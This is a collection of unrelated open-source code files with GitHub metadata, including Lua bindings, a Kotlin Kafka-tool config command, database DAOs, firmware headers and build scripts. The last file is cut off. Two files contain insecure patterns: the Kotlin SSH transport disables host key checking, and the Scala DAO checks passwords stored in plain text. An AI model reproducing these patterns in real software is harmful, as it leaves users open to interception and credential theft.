text
stringlengths 2
100k
| meta
dict |
---|---|
/* tolua: funcitons to convert to C types
** Support code for Lua bindings.
** Written by Waldemar Celes
** TeCGraf/PUC-Rio
** Apr 2003
** $Id: $
*/
/* This code is free software; you can redistribute it and/or modify it.
** The software provided hereunder is on an "as is" basis, and
** the author has no obligation to provide maintenance, support, updates,
** enhancements, or modifications.
*/
#include "tolua++.h"
#include <string.h>
#include <stdlib.h>
TOLUA_API lua_Number tolua_tonumber (lua_State* L, int narg, lua_Number def)
{
return lua_gettop(L)<abs(narg) ? def : lua_tonumber(L,narg);
}
TOLUA_API const char* tolua_tostring (lua_State* L, int narg, const char* def)
{
return lua_gettop(L)<abs(narg) ? def : lua_tostring(L,narg);
}
TOLUA_API void* tolua_touserdata (lua_State* L, int narg, void* def)
{
/* return lua_gettop(L)<abs(narg) ? def : lua_touserdata(L,narg); */
if (lua_gettop(L)<abs(narg)) {
return def;
};
if (lua_islightuserdata(L, narg)) {
return lua_touserdata(L,narg);
};
return tolua_tousertype(L, narg, def);
}
extern int push_table_instance(lua_State* L, int lo);
TOLUA_API void* tolua_tousertype (lua_State* L, int narg, void* def)
{
if (lua_gettop(L)<abs(narg))
return def;
else
{
void* u;
if (!lua_isuserdata(L, narg)) {
if (!push_table_instance(L, narg)) return NULL;
};
u = lua_touserdata(L,narg);
return (u==NULL) ? NULL : *((void**)u); /* nil represents NULL */
}
}
TOLUA_API int tolua_tovalue (lua_State* L, int narg, int def)
{
return lua_gettop(L)<abs(narg) ? def : narg;
}
TOLUA_API int tolua_toboolean (lua_State* L, int narg, int def)
{
return lua_gettop(L)<abs(narg) ? def : lua_toboolean(L,narg);
}
TOLUA_API lua_Number tolua_tofieldnumber (lua_State* L, int lo, int index, lua_Number def)
{
double v;
lua_pushnumber(L,index);
lua_gettable(L,lo);
v = lua_isnil(L,-1) ? def : lua_tonumber(L,-1);
lua_pop(L,1);
return v;
}
TOLUA_API const char* tolua_tofieldstring
(lua_State* L, int lo, int index, const char* def)
{
const char* v;
lua_pushnumber(L,index);
lua_gettable(L,lo);
v = lua_isnil(L,-1) ? def : lua_tostring(L,-1);
lua_pop(L,1);
return v;
}
TOLUA_API void* tolua_tofielduserdata (lua_State* L, int lo, int index, void* def)
{
void* v;
lua_pushnumber(L,index);
lua_gettable(L,lo);
v = lua_isnil(L,-1) ? def : lua_touserdata(L,-1);
lua_pop(L,1);
return v;
}
TOLUA_API void* tolua_tofieldusertype (lua_State* L, int lo, int index, void* def)
{
void* v;
lua_pushnumber(L,index);
lua_gettable(L,lo);
v = lua_isnil(L,-1) ? def : (*(void **)(lua_touserdata(L, -1))); /* lua_unboxpointer(L,-1); */
lua_pop(L,1);
return v;
}
TOLUA_API int tolua_tofieldvalue (lua_State* L, int lo, int index, int def)
{
int v;
lua_pushnumber(L,index);
lua_gettable(L,lo);
v = lua_isnil(L,-1) ? def : lo;
lua_pop(L,1);
return v;
}
TOLUA_API int tolua_getfieldboolean (lua_State* L, int lo, int index, int def)
{
int v;
lua_pushnumber(L,index);
lua_gettable(L,lo);
v = lua_isnil(L,-1) ? 0 : lua_toboolean(L,-1);
lua_pop(L,1);
return v;
}
| {
"pile_set_name": "Github"
} |
/**
* \file os_isdir.c
* \brief Returns true if the specified directory exists.
* \author Copyright (c) 2002-2008 Jason Perkins and the Premake project
*/
#include <string.h>
#include <sys/stat.h>
#include "premake.h"
int os_isdir(lua_State* L)
{
struct stat buf;
const char* path = luaL_checkstring(L, 1);
/* empty path is equivalent to ".", must be true */
if (strlen(path) == 0)
{
lua_pushboolean(L, 1);
}
else if (stat(path, &buf) == 0)
{
lua_pushboolean(L, buf.st_mode & S_IFDIR);
}
else
{
lua_pushboolean(L, 0);
}
return 1;
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2020 Adevinta.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package com.adevinta.oss.zoe.cli.commands
import com.adevinta.oss.zoe.cli.config.*
import com.adevinta.oss.zoe.cli.utils.globalTermColors
import com.adevinta.oss.zoe.cli.utils.yaml
import com.adevinta.oss.zoe.core.utils.buildJson
import com.adevinta.oss.zoe.core.utils.json
import com.adevinta.oss.zoe.core.utils.logger
import com.adevinta.oss.zoe.core.utils.toJsonNode
import com.adevinta.oss.zoe.service.utils.userError
import com.fasterxml.jackson.annotation.JsonInclude
import com.fasterxml.jackson.databind.JsonNode
import com.github.ajalt.clikt.core.CliktCommand
import com.github.ajalt.clikt.core.subcommands
import com.github.ajalt.clikt.parameters.groups.OptionGroup
import com.github.ajalt.clikt.parameters.groups.groupChoice
import com.github.ajalt.clikt.parameters.options.default
import com.github.ajalt.clikt.parameters.options.flag
import com.github.ajalt.clikt.parameters.options.option
import com.github.ajalt.clikt.parameters.options.required
import com.github.ajalt.clikt.parameters.types.file
import com.jcraft.jsch.JSch
import com.jcraft.jsch.Session
import kotlinx.coroutines.ExperimentalCoroutinesApi
import kotlinx.coroutines.FlowPreview
import org.eclipse.jgit.api.Git
import org.eclipse.jgit.api.TransportConfigCallback
import org.eclipse.jgit.transport.*
import org.eclipse.jgit.util.FS
import org.koin.core.KoinComponent
import org.koin.core.inject
import java.io.File
import java.nio.file.FileAlreadyExistsException
import java.nio.file.Files
import java.nio.file.StandardCopyOption
class ConfigCommand : CliktCommand(name = "config", help = "Inspect or initialize zoe config") {
override fun run() {}
}
@ExperimentalCoroutinesApi
@FlowPreview
class ConfigInit : CliktCommand(
name = "init",
help = "Initialize zoe config",
epilog = with(globalTermColors) {
"""```
|Examples:
|
| Init config with a default configuration file:
| > ${bold("zoe config init")}
|
| Load config from a local directory:
| > ${bold("""zoe config init --from local --path /path/to/existing/config""")}
|
| Load config from a git repository:
| > ${bold("""zoe config init --from git --url 'https://github.com/adevinta/zoe.git' --dir docs/guides/simple/config""")}
|
| Load config from a git repository with authentication:
| > ${bold("""zoe config init --from git --url 'https://github.company.com/example/config.git' --dir zoe-config --username user --password pass""")}
|
| You can also use a github token as a username:
| > ${bold("""zoe config init --from git --url 'https://github.company.com/example/config.git' --dir zoe-config --username gh-token""")}
|
|```""".trimMargin()
}
), KoinComponent {
private val ctx by inject<CliContext>()
private val recreate: Boolean by option("--recreate", help = "Recreate the configuration folder from scratch").flag(
default = false
)
private val overwrite: Boolean by option("--overwrite", help = "Overwrite existing configuration folder").flag(
default = false
)
private val from by option("--from", help = "Import from an existing configuration folder").groupChoice(
"local" to LoadFrom.Local(),
"git" to LoadFrom.Git()
)
override fun run() {
val configDir = ctx.configDir
val fromDir = from?.getSourceDir()
if (recreate && configDir.exists()) {
logger.info("deleting existing config directory : ${configDir.absolutePath}")
configDir.deleteRecursively()
}
Files.createDirectories(configDir.toPath())
when {
fromDir != null -> {
val sourceConfigFiles = fromDir.listFiles { file -> file.isFile && file.extension == "yml" }
?: userError("provided source is not listable : $fromDir")
for (file in sourceConfigFiles) {
val name = file.name
val source = file.toPath()
val target = configDir.toPath().resolve(name)
val options = if (overwrite) arrayOf(StandardCopyOption.REPLACE_EXISTING) else emptyArray()
try {
logger.info("copying '$source' to '$target'")
Files.copy(file.toPath(), target, *options)
} catch (exists: FileAlreadyExistsException) {
userError("file already exists : ${exists.message} (use --overwrite)")
}
}
}
else -> {
logger.info("creating a new config file...")
val target = ctx.configDir.toPath().resolve("default.yml").toFile()
if (target.exists() && !overwrite) {
logger.info("config file '${target.absolutePath}' already exists ! (--overwrite to recreate)")
return
}
val config = EnvConfig(
clusters = mapOf(
"local" to ClusterConfig(
props = mapOf(
"bootstrap.servers" to "localhost:29092",
"key.deserializer" to "org.apache.kafka.common.serialization.StringDeserializer",
"value.deserializer" to "org.apache.kafka.common.serialization.StringDeserializer",
"key.serializer" to "org.apache.kafka.common.serialization.StringSerializer",
"value.serializer" to "org.apache.kafka.common.serialization.ByteArraySerializer"
),
topics = mapOf("input" to TopicConfig("input-topic", null)),
registry = null
)
),
runners = RunnersSection(default = RunnerName.Local),
storage = null,
secrets = null
)
val jsonValue: JsonNode = json.valueToTree(config)
yaml.setSerializationInclusion(JsonInclude.Include.NON_NULL)
.setSerializationInclusion(JsonInclude.Include.NON_EMPTY)
.writerWithDefaultPrettyPrinter()
.writeValue(target, jsonValue)
}
}
}
}
class ConfigClusters : CliktCommand(name = "clusters") {
override fun run() {}
}
class ClustersList : CliktCommand(name = "list", help = "List configured clusters"), KoinComponent {
private val ctx by inject<CliContext>()
private val env by inject<EnvConfig>()
override fun run() {
val response = env.clusters.map { (name, config) ->
mapOf(
"cluster" to name,
"brokers" to config.props["bootstrap.servers"],
"registry" to config.registry,
"topics" to config.topics.map { (alias, topic) ->
buildJson {
put("alias", alias)
put("name", topic.name)
}
},
"groups" to config.groups
)
}
ctx.term.output.format(response.toJsonNode()) { echo(it) }
}
}
class ConfigEnvironments : CliktCommand(name = "environments"), KoinComponent {
override fun run() {}
}
class EnvironmentsList : CliktCommand(name = "list"), KoinComponent {
private val ctx by inject<CliContext>()
override fun run() {
val envs = ctx.configDir
.takeIf { it.exists() && it.isDirectory }
?.listFiles()
?.map { it.nameWithoutExtension }
?.filter { it != "common" }
?: emptyList()
ctx.term.output.format(envs.toJsonNode()) { echo(it) }
}
}
sealed class LoadFrom(name: String) : OptionGroup(name) {
class Local : LoadFrom("Options to load from local") {
val path: File
by option("--path")
.file(mustExist = true, canBeDir = true, mustBeReadable = true)
.required()
}
class Git : LoadFrom("Options to load from git") {
val url: String by option("--url", help = "remote url of the repository").required()
val dir: String by option("--dir", help = "path to the config inside the repo").default(".")
val username: String? by option("-u", "--username")
val password: String? by option("--password")
val privateKey: File?
by option("--private-key").file(canBeDir = false, canBeFile = true, mustExist = true)
val passphrase: String? by option("--passphrase")
}
}
fun LoadFrom.getSourceDir(): File = when (this) {
is LoadFrom.Local -> path
is LoadFrom.Git -> {
val temp = Files.createTempDirectory("tmp-zoe-config-init-").toFile().also { it.deleteOnExit() }
Git
.cloneRepository()
.setURI(url)
.let {
when {
password != null || username != null -> it.setCredentialsProvider(
UsernamePasswordCredentialsProvider(
username ?: "",
password ?: ""
)
)
privateKey != null -> it.setTransportConfigCallback(GitSshTransport(privateKey, passphrase))
else -> it
}
}
.setDirectory(temp)
.call()
temp.resolve(dir)
}
}
private class GitSshTransport(val privateKey: File?, val passphrase: String?) : TransportConfigCallback {
override fun configure(transport: Transport?) {
(transport as SshTransport).sshSessionFactory = object : JschConfigSessionFactory() {
override fun configure(host: OpenSshConfig.Host?, session: Session) {
session.setConfig("StrictHostKeyChecking", "no")
}
override fun createDefaultJSch(fs: FS): JSch = super.createDefaultJSch(fs).apply {
privateKey?.absolutePath?.let { privateKey ->
when {
passphrase != null -> addIdentity(privateKey, passphrase)
else -> addIdentity(privateKey)
}
}
}
}
}
}
@FlowPreview
@ExperimentalCoroutinesApi
fun configCommands() = ConfigCommand().subcommands(
ConfigInit(),
ConfigClusters().subcommands(ClustersList()),
ConfigEnvironments().subcommands(EnvironmentsList())
)
| {
"pile_set_name": "Github"
} |
MCU_SERIES = f7
CMSIS_MCU = STM32F767xx
MICROPY_FLOAT_IMPL = double
AF_FILE = boards/stm32f767_af.csv
LD_FILES = boards/stm32f767.ld boards/common_ifs.ld
TEXT0_ADDR = 0x08000000
TEXT1_ADDR = 0x08020000
# MicroPython settings
MICROPY_PY_LWIP = 1
MICROPY_PY_USSL = 1
MICROPY_SSL_MBEDTLS = 1
| {
"pile_set_name": "Github"
} |
&GLOBAL
PRINT_LEVEL MEDIUM
PROGRAM_NAME TEST
RUN_TYPE NONE
&TIMINGS
THRESHOLD 0.00000000001
&END
&END GLOBAL
&TEST
&CP_DBCSR
K 340
M 340
N 340
ASPARSITY 0.5
BSPARSITY 0.5
CSPARSITY 0.5
bs_m 1 5 1 13 1 16
bs_k 1 5 1 13 1 16
bs_n 1 5 1 13 1 16
DATA_TYPE real_4
TEST_TYPE Binary_io
&END
&CP_DBCSR
K 340
M 340
N 340
ASPARSITY 0.5
BSPARSITY 0.5
CSPARSITY 0.5
bs_m 1 5 1 13 1 16
bs_k 1 5 1 13 1 16
bs_n 1 5 1 13 1 16
DATA_TYPE real_8
TEST_TYPE Binary_io
&END
&CP_DBCSR
K 340
M 340
N 340
ASPARSITY 0.5
BSPARSITY 0.5
CSPARSITY 0.5
bs_m 1 5 1 13 1 16
bs_k 1 5 1 13 1 16
bs_n 1 5 1 13 1 16
DATA_TYPE complex_4
TEST_TYPE Binary_io
&END
&CP_DBCSR
K 340
M 340
N 340
ASPARSITY 0.5
BSPARSITY 0.5
CSPARSITY 0.5
bs_m 1 5 1 13 1 16
bs_k 1 5 1 13 1 16
bs_n 1 5 1 13 1 16
DATA_TYPE complex_8
TEST_TYPE Binary_io
&END
&END TEST
| {
"pile_set_name": "Github"
} |
/*
===========================================================================
Doom 3 BFG Edition GPL Source Code
Copyright (C) 1993-2012 id Software LLC, a ZeniMax Media company.
This file is part of the Doom 3 BFG Edition GPL Source Code ("Doom 3 BFG Edition Source Code").
Doom 3 BFG Edition Source Code is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Doom 3 BFG Edition Source Code is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Doom 3 BFG Edition Source Code. If not, see <http://www.gnu.org/licenses/>.
In addition, the Doom 3 BFG Edition Source Code is also subject to certain additional terms. You should have received a copy of these additional terms immediately following the terms and conditions of the GNU General Public License which accompanied the Doom 3 BFG Edition Source Code. If not, please request a copy in writing from id Software at the address below.
If you have questions concerning this license or the applicable additional terms, you may contact in writing id Software LLC, c/o ZeniMax Media Inc., Suite 120, Rockville, Maryland 20850 USA.
===========================================================================
*/
#pragma hdrstop
#include "../precompiled.h"
#include "../Game_local.h"
CLASS_DECLARATION( idClass, idForce )
END_CLASS
idList<idForce*, TAG_IDLIB_LIST_PHYSICS> idForce::forceList;
/*
================
idForce::idForce
================
*/
idForce::idForce() {
forceList.Append( this );
}
/*
================
idForce::~idForce
================
*/
idForce::~idForce() {
forceList.Remove( this );
}
/*
================
idForce::DeletePhysics
================
*/
void idForce::DeletePhysics( const idPhysics *phys ) {
int i;
for ( i = 0; i < forceList.Num(); i++ ) {
forceList[i]->RemovePhysics( phys );
}
}
/*
================
idForce::ClearForceList
================
*/
void idForce::ClearForceList() {
forceList.Clear();
}
/*
================
idForce::Evaluate
================
*/
void idForce::Evaluate( int time ) {
}
/*
================
idForce::RemovePhysics
================
*/
void idForce::RemovePhysics( const idPhysics *phys ) {
}
| {
"pile_set_name": "Github"
} |
#region MIT license
//
// MIT license
//
// Copyright (c) 2007-2008 Jiri Moudry, Pascal Craponne
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
#endregion
using System;
using System.Collections.Generic;
using System.Linq.Expressions;
using DbLinq.Data.Linq.Sugar.Expressions;
namespace DbLinq.Data.Linq.Sugar.ExpressionMutator.Implementation
{
internal class NewArrayExpressionMutator : IMutableExpression
{
protected NewArrayExpression NewArrayExpression { get; private set; }
public Expression Mutate(IList<Expression> operands)
{
switch (NewArrayExpression.NodeType)
{
case ExpressionType.NewArrayBounds:
return Expression.NewArrayBounds(NewArrayExpression.Type, operands);
case ExpressionType.NewArrayInit:
return Expression.NewArrayInit(NewArrayExpression.Type, operands);
}
throw new Exception();
}
public IEnumerable<Expression> Operands
{
get
{
return NewArrayExpression.Expressions;
}
}
public NewArrayExpressionMutator(NewArrayExpression expression)
{
NewArrayExpression = expression;
}
}
} | {
"pile_set_name": "Github"
} |
/*
* This file is part of the coreboot project.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* SD host controller specific definitions
*/
#ifndef __COMMONLIB_SDHCI_H__
#define __COMMONLIB_SDHCI_H__
#include <commonlib/sd_mmc_ctrlr.h>
/* Driver specific capabilities */
#define DRVR_CAP_1V8_VDD 0x00010000
#define DRVR_CAP_32BIT_DMA_ADDR 0x00020000
#define DRVR_CAP_BROKEN_R1B 0x00040000
#define DRVR_CAP_NO_CD 0x00080000
#define DRVR_CAP_NO_HISPD_BIT 0x00100000
#define DRVR_CAP_NO_SIMULT_VDD_AND_POWER 0x00200000
#define DRVR_CAP_REG32_RW 0x00400000
#define DRVR_CAP_SPI 0x00800000
#define DRVR_CAP_WAIT_SEND_CMD 0x01000000
/* ADMA packet descriptor */
struct sdhci_adma {
u16 attributes;
u16 length;
u32 addr;
};
struct sdhci_adma64 {
u16 attributes;
u16 length;
u32 addr;
u32 addr_hi;
};
struct sdhci_ctrlr {
struct sd_mmc_ctrlr sd_mmc_ctrlr;
void *ioaddr;
uint32_t b_max;
/*
* Dynamically allocated array of ADMA descriptors to use for data
* transfers
*/
struct sdhci_adma *adma_descs;
struct sdhci_adma64 *adma64_descs;
/* Number of ADMA descriptors currently in the array. */
int adma_desc_count;
};
int add_sdhci(struct sdhci_ctrlr *sdhci_ctrlr);
int sdhci_controller_init(struct sdhci_ctrlr *sdhci_ctrlr, void *ioaddr);
void sdhci_update_pointers(struct sdhci_ctrlr *sdhci_ctrlr);
void sdhci_display_setup(struct sdhci_ctrlr *sdhci_ctrlr);
/* Add SDHCI controller from PCI */
struct sd_mmc_ctrlr *new_pci_sdhci_controller(uint32_t dev);
/* Add SDHCI controller with memory address */
struct sd_mmc_ctrlr *new_mem_sdhci_controller(void *ioaddr);
#endif /* __COMMONLIB_SDHCI_H__ */
| {
"pile_set_name": "Github"
} |
# progtest.m4 serial 4 (gettext-0.14.2)
dnl Copyright (C) 1996-2003, 2005 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
dnl with or without modifications, as long as this notice is preserved.
dnl
dnl This file can can be used in projects which are not available under
dnl the GNU General Public License or the GNU Library General Public
dnl License but which still want to provide support for the GNU gettext
dnl functionality.
dnl Please note that the actual code of the GNU gettext library is covered
dnl by the GNU Library General Public License, and the rest of the GNU
dnl gettext package package is covered by the GNU General Public License.
dnl They are *not* in the public domain.
dnl Authors:
dnl Ulrich Drepper <[email protected]>, 1996.
AC_PREREQ(2.50)
# Search path for a program which passes the given test.
dnl AM_PATH_PROG_WITH_TEST(VARIABLE, PROG-TO-CHECK-FOR,
dnl TEST-PERFORMED-ON-FOUND_PROGRAM [, VALUE-IF-NOT-FOUND [, PATH]])
AC_DEFUN([AM_PATH_PROG_WITH_TEST],
[
# Prepare PATH_SEPARATOR.
# The user is always right.
if test "${PATH_SEPARATOR+set}" != set; then
echo "#! /bin/sh" >conf$$.sh
echo "exit 0" >>conf$$.sh
chmod +x conf$$.sh
if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then
PATH_SEPARATOR=';'
else
PATH_SEPARATOR=:
fi
rm -f conf$$.sh
fi
# Find out how to test for executable files. Don't use a zero-byte file,
# as systems may use methods other than mode bits to determine executability.
cat >conf$$.file <<_ASEOF
#! /bin/sh
exit 0
_ASEOF
chmod +x conf$$.file
if test -x conf$$.file >/dev/null 2>&1; then
ac_executable_p="test -x"
else
ac_executable_p="test -f"
fi
rm -f conf$$.file
# Extract the first word of "$2", so it can be a program name with args.
set dummy $2; ac_word=[$]2
AC_MSG_CHECKING([for $ac_word])
AC_CACHE_VAL(ac_cv_path_$1,
[case "[$]$1" in
[[\\/]]* | ?:[[\\/]]*)
ac_cv_path_$1="[$]$1" # Let the user override the test with a path.
;;
*)
ac_save_IFS="$IFS"; IFS=$PATH_SEPARATOR
for ac_dir in ifelse([$5], , $PATH, [$5]); do
IFS="$ac_save_IFS"
test -z "$ac_dir" && ac_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if $ac_executable_p "$ac_dir/$ac_word$ac_exec_ext"; then
echo "$as_me: trying $ac_dir/$ac_word..." >&AS_MESSAGE_LOG_FD
if [$3]; then
ac_cv_path_$1="$ac_dir/$ac_word$ac_exec_ext"
break 2
fi
fi
done
done
IFS="$ac_save_IFS"
dnl If no 4th arg is given, leave the cache variable unset,
dnl so AC_PATH_PROGS will keep looking.
ifelse([$4], , , [ test -z "[$]ac_cv_path_$1" && ac_cv_path_$1="$4"
])dnl
;;
esac])dnl
$1="$ac_cv_path_$1"
if test ifelse([$4], , [-n "[$]$1"], ["[$]$1" != "$4"]); then
AC_MSG_RESULT([$]$1)
else
AC_MSG_RESULT(no)
fi
AC_SUBST($1)dnl
])
| {
"pile_set_name": "Github"
} |
package ch.qos.logback.core.property;
import ch.qos.logback.core.PropertyDefinerBase;
import ch.qos.logback.core.util.NetworkAddressUtil;
public class CanonicalHostNamePropertyDefiner extends PropertyDefinerBase {
@Override
public String getPropertyValue() {
return new NetworkAddressUtil(getContext()).safelyGetCanonicalLocalHostName();
}
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Other licenses:
* -----------------------------------------------------------------------------
* Commercial licenses for this work are available. These replace the above
* ASL 2.0 and offer limited warranties, support, maintenance, and commercial
* database integrations.
*
* For more information, please visit: http://www.jooq.org/licenses
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*/
package org.jooq.impl;
import static org.jooq.impl.DSL.function;
import static org.jooq.impl.DSL.inline;
import static org.jooq.impl.DSL.one;
import static org.jooq.impl.DSL.two;
import static org.jooq.impl.Internal.imul;
import static org.jooq.impl.Names.N_PI;
import java.math.BigDecimal;
import org.jooq.Context;
/**
* @author Lukas Eder
*/
final class Pi extends AbstractField<BigDecimal> {
/**
* Generated UID
*/
private static final long serialVersionUID = -420788300355442056L;
Pi() {
super(N_PI, SQLDataType.NUMERIC);
}
@Override
public final void accept(Context<?> ctx) {
switch (ctx.family()) {
case SQLITE:
ctx.visit(inline(Math.PI, BigDecimal.class));
return;
default:
ctx.visit(function("pi", getDataType()));
return;
}
}
}
| {
"pile_set_name": "Github"
} |
package models.dao.anorm
import anorm._
import anorm.SqlParser._
import play.api.db.DB
import play.api.Play.current
import models.dao.{User, UserDAO}
object AnormUserDAO extends UserDAO {
val user = {
int("id") ~ str("email") ~ str("name") ~ str("passwd") map {
case id~email~name~passwd => User(id, email, name, passwd)
}
}
def authenticate(email: String, passwd: String): Option[User] = DB.withConnection { implicit c =>
SQL("SELECT * FROM _user WHERE email = {email} AND passwd = {passwd}").on('email -> email, 'passwd -> passwd).as(user singleOpt)
}
def findByEmail(email: String): Option[User] = DB.withConnection { implicit c =>
SQL("SELECT * FROM _user WHERE email = {email}").on('email -> email).as(user singleOpt)
}
def changePassword(email: String, newPasswd: String) = DB.withConnection { implicit c =>
SQL("UPDATE _user set passwd = {password} WHERE email = {email}").on(
'password -> newPasswd, 'email -> email).executeUpdate()
}
}
| {
"pile_set_name": "Github"
} |
DROP SCHEMA IF EXISTS dashboard CASCADE;
CREATE SCHEMA dashboard;
CREATE SEQUENCE dashboard.seq_berichten;
CREATE TABLE dashboard.berichten
(
id Bigint NOT NULL,
partij varchar(120),
bericht varchar(1024),
berichtdetails varchar(1024),
aantalmeldingen integer,
tsverzonden timestamp DEFAULT now(),
bzm varchar(60),
soortactie varchar(60),
indprevalidatie boolean,
tsreg timestamp DEFAULT now(),
CONSTRAINT bpreviewconstraint PRIMARY KEY (id)
);
CREATE INDEX berichten_tsverzonden ON dashboard.berichten (tsverzonden);
CREATE TABLE dashboard.bericht_bsn
(
id Bigint NOT NULL,
bericht Bigint NOT NULL,
bsn integer NOT NULL,
CONSTRAINT bericht_bsn_pk PRIMARY KEY (id)
);
CREATE INDEX bsn_index ON dashboard.bericht_bsn (bsn);
ALTER TABLE dashboard.bericht_bsn ADD FOREIGN KEY (bericht) REFERENCES dashboard.berichten ON DELETE CASCADE;
COMMIT;
| {
"pile_set_name": "Github"
} |
package org.ovirt.engine.core.vdsbroker.vdsbroker;
import java.util.LinkedHashMap;
import java.util.Map;
import org.ovirt.engine.core.common.businessentities.qos.StorageQos;
public class IoTuneUtils {
public static final long MB_TO_BYTES = 1024L * 1024L;
private static long convertThroughput(Integer value) {
// Libvirt interprets 0 as unlimited
return (value != null) ? value.longValue() * MB_TO_BYTES : 0L;
}
private static long convertIops(Integer value) {
return (value != null) ? value.longValue() : 0L;
}
public static Map<String, Long> ioTuneMapFrom(StorageQos storageQos) {
Map<String, Long> ioTuneMap = new LinkedHashMap<>();
ioTuneMap.put(VdsProperties.TotalBytesSec, convertThroughput(storageQos.getMaxThroughput()));
ioTuneMap.put(VdsProperties.TotalIopsSec, convertIops(storageQos.getMaxIops()));
ioTuneMap.put(VdsProperties.ReadBytesSec, convertThroughput(storageQos.getMaxReadThroughput()));
ioTuneMap.put(VdsProperties.ReadIopsSec, convertIops(storageQos.getMaxReadIops()));
ioTuneMap.put(VdsProperties.WriteBytesSec, convertThroughput(storageQos.getMaxWriteThroughput()));
ioTuneMap.put(VdsProperties.WriteIopsSec, convertIops(storageQos.getMaxWriteIops()));
return ioTuneMap;
}
}
| {
"pile_set_name": "Github"
} |
import * as fs from 'fs';
import * as path from 'path';
import * as uuid from 'uuid/v4';
import chalk from 'chalk';
import { IEntityConfig, IRelation, IQuery, IField, IApplyOptions, IFieldUpdate } from '@materia/interfaces';
import { App } from '../app';
import { MateriaError } from '../error';
import { MigrationType } from '../history';
import { Addon } from '../addons/addon';
import { Field } from './field';
import { Query, IQueryConstructor } from './query';
import { ConfigType } from '../config';
/**
* @class Entity
* @classdesc
* An entity, in a database this correspond to a table.
*/
export abstract class Entity {
relations_queue: Array<{relation: IRelation, options: IApplyOptions}>;
queryObjects: any;
id: string;
name: string;
x: number;
y: number;
isRelation: any;
fields: Array<Field>;
relations: Array<IRelation>;
queries: Array<Query>;
fromAddon: Addon;
abstract model: any;
abstract reservedQueries: string[];
constructor(public app: App, queryTypes) {
this.relations_queue = [];
this.queryObjects = {};
if (queryTypes) {
this.defineQueryObjects(queryTypes);
}
}
abstract generateDefaultQueries();
fixIsRelation(options?: IApplyOptions): Promise<void> {
if ( ! this.isRelation) {
return Promise.resolve();
}
const entity1 = this.app.entities.get(this.isRelation[0].entity);
const entity2 = this.app.entities.get(this.isRelation[1].entity);
let p = Promise.resolve();
if ( ! entity1 || ! entity2) { // converts to / keep belongsTo relations
const pk1 = entity1 && entity1.getPK()[0];
if (pk1) {
const rel = {
type: 'belongsTo',
field: this.isRelation[0].field,
reference: {
entity: entity1.name,
field: pk1.name
}
};
if (entity1.getRelationIndex(rel) == -1) {
p = p.then(() => this.addRelation(rel, options));
}
}
const pk2 = entity2 && entity2.getPK()[0];
if (pk2) {
const rel = {
type: 'belongsTo',
field: this.isRelation[1].field,
reference: {
entity: entity2.name,
field: pk2.name
}
};
if (entity2.getRelationIndex(rel) == -1) {
p = p.then(() => this.addRelation(rel, options));
}
}
delete this.isRelation;
} else { // add missing belongsToMany relations in related entities
const rel1 = {
type: 'belongsToMany',
through: this.name,
as: this.isRelation[0].field,
reference: {
entity: entity2.name,
as: this.isRelation[1].field
}
};
if (entity1.getRelationIndex(rel1) == -1) {
p = p.then(() => entity1.addRelation(rel1, options));
}
const rel2 = {
type: 'belongsToMany',
through: this.name,
as: this.isRelation[1].field,
reference: {
entity: entity1.name,
as: this.isRelation[0].field
}
};
if (entity2.getRelationIndex(rel2) == -1) {
